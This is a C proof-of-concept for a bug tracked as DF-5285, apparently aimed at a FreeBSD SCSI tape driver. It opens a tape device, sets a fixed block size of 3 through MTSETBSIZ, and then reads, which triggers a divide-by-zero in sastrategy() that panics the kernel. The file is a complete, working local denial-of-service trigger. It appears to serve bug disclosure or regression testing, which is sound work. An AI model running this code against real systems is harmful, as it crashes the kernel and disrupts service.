DF-5285 / poc_setblk.c
/* * poc_setblk.c -- DF-5285 trigger: mount the evilsa tape (READ BLOCK * LIMITS reports minimum=0), then issue the ordinary "set block size" * ioctl for a non-power-of-2 size (3) -- exactly what an operator does * when a drive reports odd geometry. MTSETBSIZ(3) leaves softc->min_blk * == 0 while setting blk_mask = ~0; the following read(2) executes * `b_bcount % min_blk` in sastrategy() -> integer divide by zero -> * kernel panic. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/mtio.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/nsa0"; struct mtop mt; char buf[512]; int fd, n; fd = open(dev, O_RDWR); if (fd < 0) err(1, "open %s", dev); printf("opened %s (mount complete: RBL min=%d, variable mode)\n", dev, 0); memset(&mt, 0, sizeof(mt)); mt.mt_op = MTSETBSIZ; mt.mt_count = 3; /* non-power-of-2 fixed blocksize */ if (ioctl(fd, MTIOCTOP, &mt) < 0) err(1, "MTIOCTOP MTSETBSIZ 3"); printf("MTSETBSIZ 3 accepted: FIXED mode, blk_mask=~0, min_blk still 0\n"); printf("issuing read(512) -> sastrategy: 512 %% min_blk(0) ...\n"); fflush(stdout); n = read(fd, buf, sizeof(buf)); if (n < 0) err(1, "read"); printf("NO PANIC: read returned %d\n", n); return (1); } |